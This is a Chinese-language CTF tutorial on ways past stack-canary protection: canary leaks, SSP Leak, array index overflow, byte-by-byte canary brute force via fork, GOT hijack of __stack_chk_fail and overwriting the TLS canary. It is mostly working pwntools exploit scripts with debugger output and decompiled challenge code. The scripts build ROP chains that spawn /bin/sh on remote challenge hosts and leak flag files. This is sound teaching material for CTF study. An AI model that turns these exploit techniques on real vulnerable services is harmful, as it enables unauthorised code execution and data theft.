Canary保护绕过


泄露

格式化字符串泄露

覆盖canary最后一个字节的数据,通过printf/puts打印canary的值。

[2021 鹤城杯]littleof

  • 分析
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *

pwnfile="./littleof"
#io=process(pwnfile)
io=remote("node4.anna.nssctf.cn",28234)
elf=ELF(pwnfile)
off=72
context(log_level="debug",arch="amd64")
rdi=0x0000000000400863
ret=0x000000000040059e

#泄露 canary
pay=b'a'*off+b'b'
io.recvuntil(b'Do you know how to do buffer overflow?\n')
io.send(pay)
io.recvuntil(b"b")
canary=u64(b'\x00'+io.recv(7))
print("canary:",hex(canary))

#泄露 puts 地址
payload=b'a'*(0x50-8)+p64(canary)+b'a'*8+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4006e2)
io.recvuntil(b'harder!')
io.sendline(payload)
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts_addr))

#搜索 libc
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
print("puts",hex(libc_base))
sys=libc_base+libc.dump("system")
sh=libc_base+libc.dump("str_bin_sh")

#构造 payload
payload=b'a'*(0x50-8)+p64(canary)+b'a'*8+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
io.sendlineafter(b"Do you know how to do buffer overflow?\n",b"aaaa")
io.sendlineafter(b"ry harder!",payload)
io.interactive()

SSP Leak

原理

简介

Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector-fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。

SSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary 值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。

在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。

SSP工作原理

  1. 插入canary

canary插入栈中,一般通过fs/gx寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary值,然后将其插入到栈上与rbp相邻的位置。

该值在函数执行前和返回时都会被检查。

1
2
.text:0000000000401205                 mov     rax, fs:28h
.text:000000000040120E mov [rbp+var_8], rax
  1. 校验canary

程序在结束时会从栈上读取canary的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail函数处理。

1
2
3
4
.text:00000000004012CE                 mov     rcx, [rbp+var_8]
.text:00000000004012D2 xor rcx, fs:28h
.text:00000000004012DB jz short locret_4012E2
.text:00000000004012DD call ___stack_chk_fail
  1. __stack_chk_fail() 函数

__stack_chk_fail函数在canary被篡改后调用,它会输出一串错误信息并终止程序。

输出错误信息时,会打印 argv[0] 的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]的值,就有可能泄露敏感信息。

__stack_chk_fail()函数的源代码

1
2
3
4
5
6
7
8
9
10
11
12
//__attribute__((noreturn))表示该函数不会返回,调用它后程序将终止
void __attribute__((noreturn)) __stack_chk_fail(void) {
//调用函数并传递一个错误消息
__fortify_fail("stack smashing detected");
}

void __attribute__((noreturn)) internal_function __fortify_fail(const char *msg) {
while (1) {
//输出传入的错误消息,以及argv[0]指向的程序名,如果argv[0]为空,则打印unknown
__libc_message(2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ? : "<unknown>");
}
}

SPP Leak 技术

前面我们提到过,可以通过控制argv[0]的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary保护,在CTF比赛中题型比较固定。

  1. 栈溢出

通过栈溢出覆盖缓冲区时,会连带覆盖 canary 值。

  1. 触发错误

当程序检测到 canary 被修改时,它会调用 __stack_chk_fail() 函数,导致程序终止并输出错误信息。

  1. 泄露信息

我们可以通过栈溢出将 argv[0] 覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。

注:libc-2.25启用了一个新的函数__fortify_fail_abort(),试图对该泄露问题进行修复,函数的第一个参数问问false时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>,那么也就无法再进行Leak。

[HNCTF 2022 WEEK3]smash

根据题目名称就可以猜测是要我们通过 smash 的方式利用了

  1. 查保护

发现除了PIE保护,其它保护全开。

1
2
3
4
5
6
➜  smash checksec ./smash
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
  1. 分析

分析程序main函数

程序利用open打开了一个叫flag的文件,然后将flag的内容读取到了bss段变量buf上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
fd = open("flag", 0);
if ( !fd )
{
puts("Open Err0r.");
exit(-1);
}
read(fd, &buf, 0x100uLL);
puts("Good Luck.");
gets(v5);
return 0;
}

查看buf变量

1
2
3
4
.bss:0000000000404060 buf             db    ? ;               ; DATA XREF: main+A0↑o
.bss:0000000000404061 db ? ;
.bss:0000000000404062 db ? ;
.bss:0000000000404063 db ? ;

我们可以通过 SSP Leak将程序读取到buf变量中的内容泄露出来

接下来寻找argv[0]的地址

gdb调试查看栈,栈中的1表示程序参数数量,然后就是程序参数的地址(即argv),因为这个程序只有一个参数,所以只有一个地址。

就是我们要找的argv[0],之后以0为结束符。

1
2
3
4
5
6
40:0200│ r13 0x7fffffffd340 ◂— 1
41:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash'
42:0210│+0f0 0x7fffffffd350 ◂— 0
43:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64'
44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8'
45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')

然后我们将程序跑起来,获取程序输入内容的地址。

输入aaaaaaaa

我们可以看到我们输入的内容已经在栈中。

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771
01:0008-118 0x7fffffffccd8 ◂— 0x300000000
02:0010-110 0x7fffffffcce0 ◂— 'aaaaaaaa'
03:0018-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026
04:0020-100 0x7fffffffccf0 ◂— 0xffffcdd0
05:0028-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff
06:0030-0f0 0x7fffffffcd00 ◂— 0x6562b026
07:0038-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi /* '__vdso_getcpu' */

根据我们的输入位置和argv[0]的地址来计算偏移。

1
0x7fffffffced8-0x7fffffffcce0=0x1f8

偏移为0x1f8,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=cyclic(504)+p64(0x404060)
r()
s(payload)
ia()

[2021 鹤城杯]easyecho

  1. 查保护

保护全开

1
2
3
4
5
6
➜  [2021 鹤城杯]easyecho checksec ./easyecho
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  1. 分析

分析main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
bool v3; // zf
__int64 v4; // rcx
char *v5; // rsi
const char *v6; // rdi
char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
int (*v9)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]

v11 = __readfsqword(0x28u);
sub_DA0(a1, a2, a3);
sub_F40();
v9 = sub_CF0;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1LL, "Name: ");
sub_E40(v8);
_printf_chk(1LL, "Welcome %s into the server!\n", v8);
do
{
while ( 1 )
{
_printf_chk(1LL, "Input: ");
gets(v10);
_printf_chk(1LL, "Output: %s\n\n", v10);
v4 = 9LL;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
(v9)(v6, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0LL;
}

gdb调试,打个断点到__printf_chk函数,然后让程序运行起来,输入aaaa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
0x555555400af2 call __printf_chk@plt <__printf_chk@plt>
flag: 1
format: 0x55555540108a ◂— 'Welcome %s into the server!\n'
vararg: 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */

0x555555400af7 nop word ptr [rax + rax]
0x555555400b00 lea rsi, [rip + 0x5a0] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] /* 'Input: ' */
0x555555400b07 mov edi, 1 EDI => 1
0x555555400b0c xor eax, eax EAX => 0
0x555555400b0e call __printf_chk@plt <__printf_chk@plt>

0x555555400b13 mov rdi, rbx
0x555555400b16 xor eax, eax EAX => 0
0x555555400b18 call gets@plt <gets@plt>

0x555555400b1d lea rsi, [rip + 0x58b] RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\n\n' */
0x555555400b24 mov edi, 1 EDI => 1
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */
01:00080x7fffffffcef8 ◂— 0
02:00100x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx
03:00180x7fffffffcf08 ◂— 0
04:0020│ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
05:00280x7fffffffcf18 ◂— 0
06:00300x7fffffffcf20 ◂— 1
07:00380x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
0 0x555555400af2
1 0x7ffff7a59730 __libc_start_main+240

在栈上发现了我们输入的内容,并且后面还有一个地址。

通过vmmap指令查看一下为哪个段的地址,发现为可执行段的地址。

1
2
3
4
5
6
pwndbg> vmmap 0x555555400cf0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0
0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho

我们可以通过这个地址减去程序基址获取偏移。

1
p/x 0x555555400cf0-0x555555400000=cf0   

程序通过格式化字符串%s打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。

然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sla(b'Name: ', b'a'*0x10)
ru(b'a'*0x10)
base = u64(r(6).ljust(8, b'\x00')) - 0xcf0
print("base",hex(base))
sla(b'Input: ',b'backdoor\x00')

flag_addr = base + 0x202040
payload = b'a'*0x168 + p64(flag_addr)
sla(b'Input: ', payload)
sla(b'Input: ', b'exitexit')
flag=r()
print(flag)

wdb2018_guess

  1. 查保护

只没有PIE保护

1
2
3
4
5
6
➜  wdb2018_guess checksec ./GUESS
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  1. 分析

一般我们进行Stack smash利用时,程序会直接崩溃退出。

但是在这个程序中的sub_400A11函数fork了三次子进程,所以我们可以执行三次。

1
2
3
4
5
6
7
8
9
__int64 sub_400A11()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

v1 = fork();
if ( v1 == -1 )
err(1, "can not fork");
return v1;
}

泄露libc地址获取environ内容,进而计算flag的地址,

environlibc中的全局变量,指向栈中的环境变量数组。

然后通过将flag地址覆盖为argv[0]地址获取flag

坑点,libc版本

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=b'a'*0x128+p64(elf.got.puts)

sla("flag\n",payload)

puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
environ=base+libc.dump("__environ")
print("environ",hex(environ))

payload=b'a'*0x128+p64(environ)
sl(payload)

environ_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("environ",hex(environ_addr))

payload=b'a'*0x128+p64(environ_addr-0x168)
sl(payload)
ia()

数组下标越界

通过数组下标越界修改返回地址来绕过canary保护。

例题:

wustctf2020_name_your_cat

  1. 查保护

只没有PIE保护

1
2
3
4
5
6
➜  checksec ./wustctf2020_name_your_cat
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  1. 分析

  2. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sys=elf.sym.shell

def new(index, content):
ru(b"which?\n>")
sl(str(index).encode())
ru(b"plz: ")
sl(content)

for i in range(5):
new(7, p32(sys))

ia()

爆破canary

栈帧布局

1
2
3
4
5
6
7
8
9
10
11
Low 
Address | |
+-----------------+
| 局部变量 |
+-----------------+
rbp-8 =>| canary value |
+-----------------+
rbp => | old ebp |
+-----------------+
| return address |
+-----------------+

不同编译器编译出来的程序canary位置可能不同,比如对于ubuntu来说:使用gcc编译出来的32位程序canary会被写在ebp-0xc,64位程序则在rbp-0x8,后者的canary才和栈底相邻。

爆破原理

  • 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。
  • 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破超过则程序进行下面的逻辑。由此可判断是否成功。
  • 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。

爆破canary的通用模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
p = process('./bin1')
#libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "正在爆破Canary的第" + str(k+1)+"位"
print "当前的字符为"+ chr(i)
payload='a'*100 + canary + chr(i)
print "当前payload为:",payload
p.send('a'*100 + canary + chr(i))
data=p.recvuntil("welcome\n")
print data
if "sucess" in data:
canary += chr(i)
print "Canary is: " + canary
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <wait.h>

void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x200);
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

while (1) {
pid_t pid = fork();
if (pid < 0) {
break;
} else if (pid > 0) {
wait(0);
} else {
vuln();
}
}

return 0;
}

由于fork产生的子进程的canary与父进程相同,因此可以根据子进程是否打印错误信息来逐字节爆破canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
from pwn import *

elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

canary = '\x00'

while len(canary) < 8:
for c in range(0x100):
p.sendafter("please input:", "a" * 0x108 + canary + p8(c))
if not p.recvline_contains('stack smashing detected', timeout=1):
canary += p8(c)
break

canary = u64(canary)
info("canary: " + hex(canary))

payload = ''
payload += 'a' * 0x108
payload += p64(canary)
payload += 'b' * 8
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x00000000004493d7) # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2) # pop rdi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004017cf) # pop rdx ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(elf.search(asm('pop rax; ret;'), executable=True).next())
payload += p64(59)
payload += p64(elf.search(asm('syscall;'), executable=True).next())
p.sendafter("please input:",payload)

p.interactive()

# 0x7fffffffddd0 buf

# 0x7fffffffded8 canary
# 0x7fffffffdee0 rbp
# 0x7fffffffdee8 ret addr

picoctf_2018_buffer overflow 3

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#远程通过ssh链接
shell = ssh(host='node3.buuoj.cn', user='CTFMan', port=27525, password='guest')

context.log_level = 'critical'
#爆破本地canary
canary = ''
for i in range(4):
for c in range(0xFF):
#sh = process('./PicoCTF_2018_buffer_overflow_3')
sh = shell.process('./vuln')
sh.sendlineafter('>','-1')
payload = 'a'*0x20 + canary + p8(c)
sh.sendafter('Input>',payload)
sh.recv(1)
ans = sh.recv()
#print ans
if 'Canary Value Corrupt!' not in ans:
print 'success guess the index({}),value({})'.format(i,c)
canary += p8(c)
break
else:
print 'try to guess the index({}) value'.format(i)
sh.close()
print 'canary=',canary
payload = 'a'*0x20 + canary + p32(0)*4 + p32(0x080486EB)
#sh = process('./PicoCTF_2018_buffer_overflow_3')
sh = shell.process('./vuln')
sh.sendlineafter('>','-1')
sh.sendafter('Input>',payload)

sh.interactive()

劫持__stack_chk_fail函数

canary 检测失败会调用__stack_chk_fail函数,可以通过比如格式化字符串漏洞修改 got 表中对应__stack_chk_fail的位置为后门函数的地址来实施攻击。

示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

void backdoor() {
puts("this is a backdoor.");
system("/bin/sh");
}

void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x110);
printf(buf);
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
// 编译命令:gcc pwn.c -o pwn -no-pie -Wl,-z,lazy -g
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF("./pwn")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process("./pwn")

# 构造格式化字符串攻击的 payload,将 __stack_chk_fail 替换为 backdoor 函数地址
off=6
payload = fmtstr_payload(off, {elf.got['__stack_chk_fail']: elf.sym['backdoor']})

# 填充至 0x108 字节,并添加额外字符 'b'
payload = payload.ljust(0x108, b'a')
payload += b'b'

# 调试时可以使用 gdb 附加,设置断点并继续运行
# gdb.attach(p, "b *0x40124b\nc")
# pause()

# 发送构造好的 payload
p.sendafter("please input:", payload)

# 进入交互模式
p.interactive()

[BJDCTF 2nd]r2t4

劫持TLS

在开启canary的情况下,当程序在线程创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。

那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP。

Linux 下fs寄存器指向当前栈的TLS结构,fs:0x28指向的是TLS结构中的stack_guard值,如果可以覆盖位于TLS中的canary初始值就可以绕过canary保护。

TLS中的canary是可写的

1
2
3
4
5
6
7
8
pwndbg> tls
tls : 0x7ffff7d7c740
pwndbg> vmmap 0x7ffff7d7c740
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x404000 0x405000 rw-p 1000 3000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/覆盖canary初始值/demo/vuln
0x7ffff7d7c000 0x7ffff7d7f000 rw-p 3000 0 [anon_7ffff7d7c] +0x740
0x7ffff7d7f000 0x7ffff7da7000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6

格式化字符串任意地址写覆盖canary

例题:

gyctf_2020_bfnote

  1. 查保护

只没有PIE保护。

1
2
3
4
5
6
➜  覆盖canary初始值 checksec ./gyctf_2020_bfnote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  1. 分析

栈溢出的生活控制ebp打一个栈迁移到bss

向bss输入的数据作用是修改atoi的got表

通过控制索引修改canary

  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from tools import *
context.log_level='debug'

p,e,libc=load('a','node4.buuoj.cn:28185')
inc_ebp=0x08048434 #inc dword ptr [ebp - 0x17fa8b40] ; ret 0
pop_ebp=0x080489db
#can stack over
debug(p,0x80487FC,0x804882A,0x80488E2,0x804895E)
payload=b'a'*0X32+p32(0xdeadbeef)+p32(0)+p32(0x0804A060+4)+p32(0)#bss

p.sendlineafter("Give your description : ",payload)
#bss
payload=p32(pop_ebp)+p32(0x804a02d+0x17fa8b40)+p32(inc_ebp)*0xd9#0xdb
payload+=p32(e.plt['read'])+p32(0x08048656)+p32(0)+p32(e.got['atol'])+p32(0x100)+p32(0x08048656)
p.sendlineafter("Give your postscript : ",payload)

p.sendlineafter("Give your notebook size : ",str(0x50000))

p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
p.sendlineafter("\nGive your title : ",'c'*0x10)
p.sendlineafter("Give your note : ",p32(0xdeadbeef))

pause()
p.send('\x40')
pause()
p.send("/bin/sh\x00")

p.interactive()

gyctf_2020_bfnote

starctf2018_babystack